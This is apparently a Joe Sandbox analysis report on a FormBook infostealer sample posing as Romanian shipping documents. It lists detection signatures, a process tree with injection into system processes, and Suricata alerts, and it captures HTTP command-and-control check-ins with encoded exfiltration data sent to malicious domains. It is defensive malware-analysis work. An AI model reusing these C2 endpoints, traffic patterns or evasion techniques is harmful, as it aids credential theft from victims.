Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
AWB_5771388044 Documente de expediere.exe

Overview

General Information

Sample name:AWB_5771388044 Documente de expediere.exe
Analysis ID:1571472
MD5:53bc8d5aec130cb17e4f2a277b722bf2
SHA1:b84460732b23ab76d0cac4d1c5c86bdf5279774f
SHA256:cf789e7c76e35f7b7f1a26463290aa94d05e2dd71b813f5eae75cdbc83bbed6b
Tags:exeuser-rrflare
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • AWB_5771388044 Documente de expediere.exe (PID: 6292 cmdline: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe" MD5: 53BC8D5AEC130CB17E4F2A277B722BF2)
    • svchost.exe (PID: 6504 cmdline: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • dnqNlDRmfuUrS.exe (PID: 344 cmdline: "C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • sc.exe (PID: 404 cmdline: "C:\Windows\SysWOW64\sc.exe" MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
          • dnqNlDRmfuUrS.exe (PID: 3752 cmdline: "C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 5580 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000006.00000002.2914944914.00000000008A0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000006.00000002.2916379942.0000000002F90000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000001.00000002.2248534012.0000000002F90000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000001.00000002.2248246717.00000000004E0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000007.00000002.2915999242.0000000001630000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            1.2.svchost.exe.4e0000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              1.2.svchost.exe.4e0000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", CommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", CommandLine|base64offset|contains: ., Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", ParentImage: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe, ParentProcessId: 6292, ParentProcessName: AWB_5771388044 Documente de expediere.exe, ProcessCommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", ProcessId: 6504, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", CommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", CommandLine|base64offset|contains: ., Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", ParentImage: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe, ParentProcessId: 6292, ParentProcessName: AWB_5771388044 Documente de expediere.exe, ProcessCommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", ProcessId: 6504, ProcessName: svchost.exe

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-09T13:14:07.923153+010020507451Malware Command and Control Activity Detected192.168.2.449763108.179.253.19780TCP
                2024-12-09T13:14:32.581126+010020507451Malware Command and Control Activity Detected192.168.2.449827108.181.189.780TCP
                2024-12-09T13:14:47.088788+010020507451Malware Command and Control Activity Detected192.168.2.44986113.248.169.4880TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-09T13:14:07.923153+010028554651A Network Trojan was detected192.168.2.449763108.179.253.19780TCP
                2024-12-09T13:14:32.581126+010028554651A Network Trojan was detected192.168.2.449827108.181.189.780TCP
                2024-12-09T13:14:47.088788+010028554651A Network Trojan was detected192.168.2.44986113.248.169.4880TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-09T13:14:24.614014+010028554641A Network Trojan was detected192.168.2.449804108.181.189.780TCP
                2024-12-09T13:14:27.263633+010028554641A Network Trojan was detected192.168.2.449810108.181.189.780TCP
                2024-12-09T13:14:29.924955+010028554641A Network Trojan was detected192.168.2.449819108.181.189.780TCP
                2024-12-09T13:14:39.171086+010028554641A Network Trojan was detected192.168.2.44984313.248.169.4880TCP
                2024-12-09T13:14:41.768649+010028554641A Network Trojan was detected192.168.2.44984913.248.169.4880TCP
                2024-12-09T13:14:44.469996+010028554641A Network Trojan was detected192.168.2.44985513.248.169.4880TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: AWB_5771388044 Documente de expediere.exeReversingLabs: Detection: 76%
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.4e0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.4e0000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.2914944914.00000000008A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2916379942.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248534012.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248246717.00000000004E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2915999242.0000000001630000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2916441443.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248900268.0000000003D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2916213463.0000000003560000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: AWB_5771388044 Documente de expediere.exeJoe Sandbox ML: detected
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: dnqNlDRmfuUrS.exe, 00000005.00000000.2173780390.000000000069E000.00000002.00000001.01000000.00000005.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000002.2914995119.000000000069E000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1664353093.00000000041C0000.00000004.00001000.00020000.00000000.sdmp, AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1665181590.0000000004020000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2248567406.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2248567406.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2155473181.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2156904567.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000002.2916643666.00000000033AE000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000006.00000002.2916643666.0000000003210000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000006.00000003.2250045957.0000000003067000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000003.2248479905.0000000002E95000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdbUGP source: svchost.exe, 00000001.00000003.2216853278.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2216942488.0000000002A3B000.00000004.00000020.00020000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000005.00000003.2213928575.000000000103B000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1664353093.00000000041C0000.00000004.00001000.00020000.00000000.sdmp, AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1665181590.0000000004020000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.2248567406.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2248567406.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2155473181.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2156904567.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, sc.exe, sc.exe, 00000006.00000002.2916643666.00000000033AE000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000006.00000002.2916643666.0000000003210000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000006.00000003.2250045957.0000000003067000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000003.2248479905.0000000002E95000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdb source: svchost.exe, 00000001.00000003.2216853278.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2216942488.0000000002A3B000.00000004.00000020.00020000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000005.00000003.2213928575.000000000103B000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: sc.exe, 00000006.00000002.2915308329.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000002.2917111114.000000000383C000.00000004.10000000.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000002.2916712819.000000000341C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2540186843.000000000543C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: sc.exe, 00000006.00000002.2915308329.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000002.2917111114.000000000383C000.00000004.10000000.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000002.2916712819.000000000341C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2540186843.000000000543C000.00000004.80000000.00040000.00000000.sdmp
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D46CA9 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00D46CA9
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D460DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,0_2_00D460DD
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D463F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,0_2_00D463F9
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D4EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00D4EB60
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D4F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00D4F5FA
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D4F56F FindFirstFileW,FindClose,0_2_00D4F56F
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D51B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00D51B2F
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D51C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00D51C8A
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D51F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00D51F94
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008BCA10 FindFirstFileW,FindNextFileW,FindClose,6_2_008BCA10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4x nop then xor eax, eax6_2_008A9F90
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4x nop then pop edi6_2_008AE5AA
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4x nop then mov ebx, 00000004h6_2_031004EE

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49763 -> 108.179.253.197:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49763 -> 108.179.253.197:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49804 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49819 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49827 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49827 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49810 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49843 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49849 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49861 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49855 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49861 -> 13.248.169.48:80
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.avalanchefi.xyz
                Source: Joe Sandbox ViewIP Address: 13.248.169.48 13.248.169.48
                Source: Joe Sandbox ViewIP Address: 108.181.189.7 108.181.189.7
                Source: Joe Sandbox ViewASN Name: AMAZON-02US AMAZON-02US
                Source: Joe Sandbox ViewASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
                Source: Joe Sandbox ViewASN Name: ASN852CA ASN852CA
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D54EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,0_2_00D54EB5
                Source: global trafficHTTP traffic detected: GET /7n6c/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=ePeKNPyUeLpNn1ut9QR5+vkaHUGSQvJrwPLb6fKcgQCso5jGZqjP6M9GYYTFao+4npn6icqsLwsi7nEjf66UvTUwrIE2dD1LfojjSGoioIp2xNG+LZcOM+Y= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.bloodbalancecaps.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficHTTP traffic detected: GET /xu9o/?gdIlTvE8=Y1SnkQLh9oyCIrW0o0O4vqPemXX8Spt1zoY93P6OWbCvdS06v54NadN0bxhIZaxlyI96f1lIInN9xaPSBVcrMr8DLl9ZyJ18b2nxQ81rZE0uLnMg7aaVIRg=&FH1D=O4FXjFCpJjRpaxv HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.jalan2.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficHTTP traffic detected: GET /ctta/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=73htI/07lnbi6jhjvkNHrlWSa6BSjsKivRRSV4arkt57XDlKC2xJvna+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoag2/xWEWhdCP8yoM02bo7Rk5ZALP8w8OFi4= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.avalanchefi.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficDNS traffic detected: DNS query: www.bloodbalancecaps.shop
                Source: global trafficDNS traffic detected: DNS query: www.jalan2.online
                Source: global trafficDNS traffic detected: DNS query: www.avalanchefi.xyz
                Source: global trafficDNS traffic detected: DNS query: www.02760.wang
                Source: unknownHTTP traffic detected: POST /xu9o/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.jalan2.onlineOrigin: http://www.jalan2.onlineReferer: http://www.jalan2.online/xu9o/Content-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 205Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30Data Raw: 67 64 49 6c 54 76 45 38 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 5a 61 44 49 36 54 53 62 6c 71 66 57 73 56 72 4b 54 35 74 77 69 59 35 5a 30 39 7a 72 57 36 2b 51 66 54 78 4e 72 72 51 75 58 39 56 63 64 45 51 33 4c 4a 77 6e 38 36 78 35 55 56 74 4c 63 55 45 42 68 61 4c 6a 47 6e 77 6c 4d 72 30 69 4c 55 74 43 75 4a 4a 66 56 6c 57 33 4e 74 46 67 58 31 64 74 56 47 6f 30 2b 71 61 48 56 42 4b 6b 6a 38 52 6f 63 52 31 69 53 52 55 62 68 4b 69 4f 70 39 35 56 46 70 38 7a 69 49 6b 72 6d 49 7a 34 36 52 52 30 53 6f 48 6b 56 4c 52 52 4b 56 41 71 30 48 58 4e 74 34 4a 72 70 75 39 61 73 63 74 75 50 4e 48 68 7a 77 2f 67 55 67 3d 3d Data Ascii: gdIlTvE8=V36Hnmii79e6ZaDI6TSblqfWsVrKT5twiY5Z09zrW6+QfTxNrrQuX9VcdEQ3LJwn86x5UVtLcUEBhaLjGnwlMr0iLUtCuJJfVlW3NtFgX1dtVGo0+qaHVBKkj8RocR1iSRUbhKiOp95VFp8ziIkrmIz46RR0SoHkVLRRKVAq0HXNt4Jrpu9asctuPNHhzw/gUg==
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Mon, 09 Dec 2024 12:14:24 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Mon, 09 Dec 2024 12:14:27 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Mon, 09 Dec 2024 12:14:29 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e a7 70 31 12 28 97 c2 67 49 1c bf 1d 85 5f c8 38 7d 5a f4 0c 34 6b 29 60 2d 71 d3 19 eb 47 50 1b ed 51 fb c5 68 23 b9 17 0b 8e 6b 59 63 d4 0f c6 20 b5 f4 92 a9 c8 d5 8c 60 93 31 38 61 a5 be 8f bc 89 1a e9 17 da 04 74 2f bd c2 12 d2 38 85 9f c6 c3 57 b3 d2 fc cd 59 31 1d e6 8b 9e 52 f9 a1 45 2e 19 5c 76 16 1b b4 2e aa 8d 32 96 70 05 b6 98 71 66 ef af 1e 2a c3 77 0f 15 ab ef 97 36 40 0c 21 d9 45 1c c7 e7 b2 0d 64 99 f6 8f 8f c5 74 00 2c a6 fb ac c2 b2 43 de c3 12 b8 48 d3 34 87 96 d9 a5 d4 59 9c 37 94 62 06 da d8 96 29 48 d2 6e 3b 9d c5 dd 16 3e 5a 4a 6d 0c df 50 ad d1 cb 9a 51 76 4c bb c8 a1 95 4d 0e 27 12 e6 f0 8a 15 5c 34 4d 93 87 ec b9 5c bf 50 9d ad bc a1 dd a5 8e 9e 61 8c 4a 08 cf e9 02 8f 5b 1f 31 25 97 3a 83 9a 4c 40 9b 43 af 7c f6 3e 26 86 87 14 22 85 0d 25 10 a5 c3 64 67 1c b9 62 74 c6 2a 67 d4 ca 63 0e de 74 19 5c 87 5d fa d0 39 f5 88 1b ec 9f 42 24 87 1d 8f 9a 40 10 25 72 f2 1f 66 c9 bc 87 55 52 e3 91 f1 30 d5 c7 6c 86 a9 ca 28 4e a0 e4 32 29 9f 84 a2 9a 3d 07 8d 02 89 20 6c fe 04 4d 9c 68 3c 2a 9f d5 85 98 d1 ea ae bc 13 08 16 9d 59 d9 3a 74 fe ae d0 79 e4 54 8f 2b c5 c9 2c 0f 15 12 01 5a 03 46 83 17 d2 01 39 b3 46 7b 5e 4c 3b 02 98 92 8e e5 fe 7d 22 e9 be 68 9a 38 b4 67 59 ce 88 c9 3e fd de a1 8e 71 2e f5 32 0b a5 10 68 c2 a1 93 1f 05 b6 a8 98 97 6b cc 6b 85 cc 92 04 5e e4 4f 9e 1e f1 fa cc a3 24 4e 68 e6 75 fd a6 ef 42 cb 2b 63 39 da 3e 14 28 10 c8 3a c9 c1 2e 2b 76 19 8f fb 36 49 e6 57 14 b6 8d 9c 60 dc 6c 32 88 fb c0 78 08 9a cd e7 63 78 7a c5 93 eb 2b 3a 9e 0e 7d 5f 85 95 2d 6f 68 57 ae 76 54 1e 1b b4 24 64 b5 83 1f d2 e3 6d 87 34 f8 8d 15 dc f6 f2 91 f2 37 94 8d c3 a0 2f e3 6b e9 e8 b7 17 cc 9f 44 df 61 2d 34 b1 5f 4a 74 f0 5d d7 13 20 f5 83 25 0c 36 04 24 8c f3 a4 1c 59 d5 76 4c ef 80 69 3e 06 46 fe ac 6a ba 33 04 0b b1 fd bd 62 8d 02 43 7b 1e 2e 99 97 7e d2 86 93 e0 e6 c1 cc 70 94 c3 c1 ee 2f b4 ff 0d 2b 0f 61 e1 04 00 00 0d 0a Data Ascii: a2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc 